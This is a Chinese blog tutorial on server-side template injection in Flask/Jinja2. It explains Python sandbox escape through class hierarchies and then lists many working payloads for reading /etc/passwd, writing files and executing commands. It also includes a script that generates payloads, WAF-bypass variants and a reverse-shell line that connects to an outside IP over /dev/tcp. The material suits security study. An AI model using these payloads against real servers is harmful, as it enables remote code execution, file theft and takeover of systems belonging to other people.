• python-flask-ssti(模版注入漏洞)


    SSTI(Server-Side Template Injection) 服务端模板注入
    ,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

    输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。

    前置知识

    1.运行一个一个最小的 Flask 应用
    from flask import Flask
    app = Flask(__name__)
    
    @app.route('/')
    def hello_world():
        return 'Hello World!'
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0')
    
    2.jinja2

     jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

    在jinja2中,存在三种语:

    控制结构 {% %}
    变量取值 {{ }}
    注释 {# #}
    

    jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等

    inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

    被两个括号包裹的内容会输出其表达式的值

    1.ssti漏洞的检测

    发送类似下面的payload,不同模板语法有一些差异

    smarty=Hello ${7*7}
    Hello 49
    twig=Hello {{7*7}}
    Hello 49
    

    检测到模板注入漏洞后,需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

    2.漏洞利用

    1.payload原理

    Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

    1.1 python沙盒逃逸-python2

    python的内敛函数真是强大,可以调用一切函数做自己想做的事情

    __builtins__
    __import__
    

    在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

    Python中一些常见的特殊方法:

    __class__返回调用的参数类型。
    __base__返回基类
    __mro__允许我们在当前Python环境下追溯继承树
    __subclasses__()返回子类
    

    现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals['builtins']即可调用eval等执行任意代码。

    ().__class__.__bases__[0]
    ''.__class__.__mro__[2]
    {}.__class__.__bases__[0]
    [].__class__.__bases__[0]
    
    builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
    
    >>> ''.__class__.__base__.__subclasses__()
    # 返回子类的列表 [,,,...]
    
    #从中随便选一个类,查看它的__init__
    >>> ''.__class__.__base__.__subclasses__()[30].__init__
    <slot wrapper '__init__' of 'object' objects>
    # wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
    
    #再换几个子类,很快就能找到一个重载过__init__的类,比如
    >>> ''.__class__.__base__.__subclasses__()[5].__init__
    
    >>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
    #然后用eval执行命令即可
    

    安全研究员给出的几个常见Payload

    python2

    文件读取和写入

    #读文件
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
    {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
    #写文件
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
    

    任意执行

    每次执行都要先写然后编译执行

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
    {{ config.from_pyfile('/tmp/owned.cfg') }}  
    

    写入一次即可

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output
    
    RUNCMD = check_output
    ')}}  
    {{ config.from_pyfile('/tmp/owned.cfg') }}  
    {{ config['RUNCMD']('/usr/bin/id',shell=True) }}    
    

    不回显的

    http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
    http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
    

    任意执行只需要一条指令

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  
    http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
    
    总结:
    通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。 
    
    python3

    因为python3没有file了,所以用的是open

    #文件读取
    http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
    

    执行命令

    #任意执行
    http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
    

    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    
    #文件操作
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

    寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload

    #!/usr/bin/python3
    # coding=utf-8
    # python 3.5
    from flask import Flask
    from jinja2 import Template
    # Some of special names
    searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
    neededFunction = ['eval', 'open', 'exec']
    pay = int(input("Payload?[1|0]"))
    for index, i in enumerate({}.__class__.__base__.__subclasses__()):
        for attr in searchList:
            if hasattr(i, attr):
                if eval('str(i.'+attr+')[1:9]') == 'function':
                    for goal in neededFunction:
                        if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                            if pay != 1:
                                print(i.__name__,":", attr, goal)
                            else:
                                print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "("[evil]") }}{% endif %}{% endfor %}")
    

    output

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
    

    随便选一个替换我们之前的Payload,会发现成功执行

    http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}
    

    waf绕过

    甩几个test payload
    有时候看不到回显。可以在源代码里看到回显

    python2:
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
    [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
    "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
    "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
    "".__class__.__mro__[-1].__subclasses__()[40](filename).read()
    "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
    
    python3:
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
    "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
    

    参考连接:

    浅析ssti

    flask ssti原理

    flask中文文档

    jinja2学习

    python2与python3

    ssti

  • 相关阅读:
    shell script入门
    perl环境配置以及Eclipse安装perl开发插件
    python注释
    Python中的sorted函数以及operator.itemgetter函数
    python 字典items和iteritems
    Python 字典(Dictionary) get()方法
    python numpy sum函数用法
    python numpy argsort函数用法
    python tile函数用法
    Shell之date用法
  • 原文地址:https://www.cnblogs.com/hackxf/p/10480071.html
Copyright © 2020-2023  润新知